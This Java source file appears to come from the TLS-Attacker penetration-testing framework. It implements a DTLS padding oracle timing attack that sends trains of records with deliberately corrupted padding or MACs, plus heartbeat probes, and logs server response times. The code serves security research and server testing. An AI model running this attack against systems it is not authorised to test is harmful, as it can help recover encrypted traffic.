/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
*
* Licensed under Apache License 2.0
* http://www.apache.org/licenses/LICENSE-2.0
*/
package de.rub.nds.tlsattacker.attacks.impl;
import de.rub.nds.tlsattacker.attacks.config.DtlsPaddingOracleAttackCommandConfig;
import de.rub.nds.tlsattacker.tls.Attacker;
import de.rub.nds.tlsattacker.dtls.record.DtlsRecordHandler;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.tlsattacker.tls.config.ConfigHandler;
import de.rub.nds.tlsattacker.tls.constants.ConnectionEnd;
import de.rub.nds.tlsattacker.tls.protocol.ProtocolMessage;
import de.rub.nds.tlsattacker.tls.protocol.alert.AlertMessage;
import de.rub.nds.tlsattacker.tls.protocol.application.ApplicationMessage;
import de.rub.nds.tlsattacker.tls.constants.ProtocolMessageType;
import de.rub.nds.tlsattacker.tls.protocol.heartbeat.HeartbeatMessage;
import de.rub.nds.tlsattacker.dtls.record.DtlsRecord;
import de.rub.nds.tlsattacker.tls.constants.AlertDescription;
import de.rub.nds.tlsattacker.tls.constants.AlertLevel;
import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace;
import de.rub.nds.tlsattacker.transport.UDPTransportHandler;
import de.rub.nds.tlsattacker.util.RandomHelper;
import java.io.FileWriter;
import java.io.IOException;
import java.net.SocketTimeoutException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.locks.LockSupport;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Tests if the subject can be used as a padding oracle by sending messages with
* invalid MACs or invalid paddings.
*
* @author Florian Pfützenreuter <florian.pfuetzenreuter@rub.de>
*/
public class DtlsPaddingOracleAttack extends Attacker<DtlsPaddingOracleAttackCommandConfig> {
private static Logger LOGGER = LogManager.getLogger(DtlsPaddingOracleAttack.class);
private TlsContext tlsContext;
private DtlsRecordHandler recordHandler;
private List<ProtocolMessage> protocolMessages;
private UDPTransportHandler transportHandler;
private final ModifiableByteArray modifiedPaddingArray = new ModifiableByteArray(),
modifiedMacArray = new ModifiableByteArray();
private WorkflowExecutor workflowExecutor;
private WorkflowTrace trace;
public DtlsPaddingOracleAttack(DtlsPaddingOracleAttackCommandConfig config) {
super(config);
}
@Override
public void executeAttack(ConfigHandler configHandler) {
initExecuteAttack(configHandler);
long[][] resultBuffer = new long[config.getNrOfRounds()][2];
FileWriter fileWriter;
StringBuilder sb;
int counter = 0;
workflowExecutor.executeWorkflow();
try {
sb = new StringBuilder(50);
for (int i = 0; i < config.getNrOfRounds(); i++) {
resultBuffer[i] = executeAttackRound();
if (resultBuffer[i][0] == -1 || resultBuffer[i][1] == -1) {
sb.append("Round no. ");
sb.append(i + 1);
sb.append(" - No useful results were gained. Repeat.");
i--;
} else {
sb.append(i + 1);
sb.append(" of ");
sb.append(config.getNrOfRounds());
sb.append(" rounds.\n");
}
LOGGER.info(sb.toString());
sb.setLength(0);
}
if (config.getResultFilePath() != null) {
sb = new StringBuilder(2097152);
fileWriter = new FileWriter(config.getResultFilePath(), true);
for (long[] roundResults : resultBuffer) {
sb.append(counter);
sb.append(";invalid_Padding;");
sb.append(roundResults[0]);
sb.append("\n");
counter++;
sb.append(counter);
sb.append(";invalid_MAC;");
sb.append(roundResults[1]);
sb.append("\n");
counter++;
// Limit string builder RAM usage to about 4 MiByte by
// writing out data
if (sb.length() > 2097000) {
fileWriter.write(sb.toString());
sb.setLength(0);
}
}
fileWriter.write(sb.toString());
fileWriter.close();
}
} catch (IOException e) {
LOGGER.info(e.getLocalizedMessage());
}
closeDtlsConnectionGracefully();
transportHandler.closeConnection();
}
private long[] executeAttackRound() throws IOException {
byte[] roundMessageData = new byte[config.getTrainMessageSize()];
RandomHelper.getRandom().nextBytes(roundMessageData);
HeartbeatMessage sentHbMessage = new HeartbeatMessage();
sentHbMessage.getProtocolMessageHandler(tlsContext).prepareMessage();
byte[][] invalidPaddingTrain = createInvalidPaddingMessageTrain(config.getMessagesPerTrain(), roundMessageData,
sentHbMessage);
byte[][] invalidMacTrain = createInvalidMacMessageTrain(config.getMessagesPerTrain(), roundMessageData,
sentHbMessage);
long[] results = new long[2];
results[0] = handleTrain(invalidPaddingTrain, sentHbMessage.getPayload().getValue(), "Invalid Padding");
results[1] = handleTrain(invalidMacTrain, sentHbMessage.getPayload().getValue(), "Invalid MAC");
return results;
}
private long handleTrain(byte[][] train, byte[] sentHeartbeatMessagePayload, String trainInfo) {
try {
byte[] serverAnswer;
if (config.getMessageWaitNanos() > 0) {
serverAnswer = handleTrainIOWithWaitNanos(train, config.getMessageWaitNanos());
} else {
serverAnswer = handleTrainIO(train);
}
if (serverAnswer != null && serverAnswer.length > 1) {
HeartbeatMessage receivedHbMessage = new HeartbeatMessage();
List<de.rub.nds.tlsattacker.tls.record.Record> parsedReceivedRecords = recordHandler
.parseRecords(serverAnswer);
if (parsedReceivedRecords.size() != 1) {
LOGGER.info("Unexpected number of records parsed from server. Train: {}", trainInfo);
flushTransportHandler();
return -1;
} else {
receivedHbMessage.getProtocolMessageHandler(tlsContext).parseMessage(
parsedReceivedRecords.get(0).getProtocolMessageBytes().getValue(), 0);
if (!Arrays.equals(receivedHbMessage.getPayload().getValue(), sentHeartbeatMessagePayload)) {
LOGGER.info("Heartbeat answer didn't contain the correct payload. Train: " + trainInfo);
flushTransportHandler();
return -1;
} else {
LOGGER.info("Correct heartbeat-payload received. Train: {}", trainInfo);
}
}
} else {
LOGGER.info("No data from the server was received. Train: {}", trainInfo);
}
return transportHandler.getResponseTimeNanos();
} catch (SocketTimeoutException e) {
LOGGER.info("Received timeout when waiting for heartbeat answer. Train: {}", trainInfo);
} catch (Exception e) {
LOGGER.info(e.getMessage());
}
return -1;
}
private byte[] handleTrainIO(byte[][] train) throws Exception {
for (byte[] record : train) {
transportHandler.sendData(record);
}
return transportHandler.fetchData();
}
private byte[] handleTrainIOWithWaitNanos(byte[][] train, long waitNanos) throws Exception {
for (byte[] record : train) {
LockSupport.parkNanos(waitNanos);
transportHandler.sendData(record);
}
return transportHandler.fetchData();
}
private byte[][] createInvalidPaddingMessageTrain(int n, byte[] messageData, HeartbeatMessage heartbeatMessage) {
byte[][] train = new byte[n + 1][];
List<de.rub.nds.tlsattacker.tls.record.Record> records = new ArrayList<>();
ApplicationMessage apMessage = new ApplicationMessage(ConnectionEnd.CLIENT);
protocolMessages.add(apMessage);
DtlsRecord record;
apMessage.setData(messageData);
for (int i = 0; i < n; i++) {
record = new DtlsRecord();
record.setPadding(modifiedPaddingArray);
records.add(record);
train[i] = recordHandler.wrapData(messageData, ProtocolMessageType.APPLICATION_DATA, records);
records.remove(0);
}
records.add(new DtlsRecord());
protocolMessages.add(heartbeatMessage);
train[n] = recordHandler.wrapData(heartbeatMessage.getCompleteResultingMessage().getValue(),
ProtocolMessageType.HEARTBEAT, records);
return train;
}
private byte[][] createInvalidMacMessageTrain(int n, byte[] applicationMessageContent,
HeartbeatMessage heartbeatMessage) {
byte[][] train = new byte[n + 1][];
List<de.rub.nds.tlsattacker.tls.record.Record> records = new ArrayList<>();
ApplicationMessage apMessage = new ApplicationMessage(ConnectionEnd.CLIENT);
protocolMessages.add(apMessage);
apMessage.setData(applicationMessageContent);
DtlsRecord record = new DtlsRecord();
record.setMac(modifiedMacArray);
record.setPadding(modifiedPaddingArray);
records.add(record);
byte[] recordBytes = recordHandler.wrapData(applicationMessageContent, ProtocolMessageType.APPLICATION_DATA,
records);
for (int i = 0; i < n; i++) {
train[i] = recordBytes;
}
records.remove(0);
records.add(new DtlsRecord());
protocolMessages.add(heartbeatMessage);
train[n] = (recordHandler.wrapData(heartbeatMessage.getCompleteResultingMessage().getValue(),
ProtocolMessageType.HEARTBEAT, records));
return train;
}
private void closeDtlsConnectionGracefully() {
AlertMessage closeNotify = new AlertMessage();
closeNotify.setConfig(AlertLevel.WARNING, AlertDescription.CLOSE_NOTIFY);
List<de.rub.nds.tlsattacker.tls.record.Record> records = new ArrayList<>();
records.add(new DtlsRecord());
try {
transportHandler.sendData(recordHandler.wrapData(closeNotify.getProtocolMessageHandler(tlsContext)
.prepareMessage(), ProtocolMessageType.ALERT, records));
} catch (IOException e) {
LOGGER.error(e.getLocalizedMessage());
}
}
private void initExecuteAttack(ConfigHandler configHandler) {
transportHandler = (UDPTransportHandler) configHandler.initializeTransportHandler(config);
transportHandler.setTlsTimeout(config.getTimeout());
tlsContext = configHandler.initializeTlsContext(config);
workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext);
recordHandler = (DtlsRecordHandler) tlsContext.getRecordHandler();
trace = tlsContext.getWorkflowTrace();
protocolMessages = trace.getProtocolMessages();
modifiedPaddingArray.setModification(ByteArrayModificationFactory.xor(new byte[] { 1 }, 0));
modifiedMacArray.setModification(ByteArrayModificationFactory.xor(new byte[] { 0x50, (byte) 0xFF, 0x1A, 0x7C },
0));
}
private void flushTransportHandler() throws IOException {
transportHandler.setTlsTimeout(50);
try {
while (true) {
transportHandler.fetchData();
}
} catch (SocketTimeoutException e) {
} finally {
transportHandler.setTlsTimeout(config.getTimeout());
}
}
}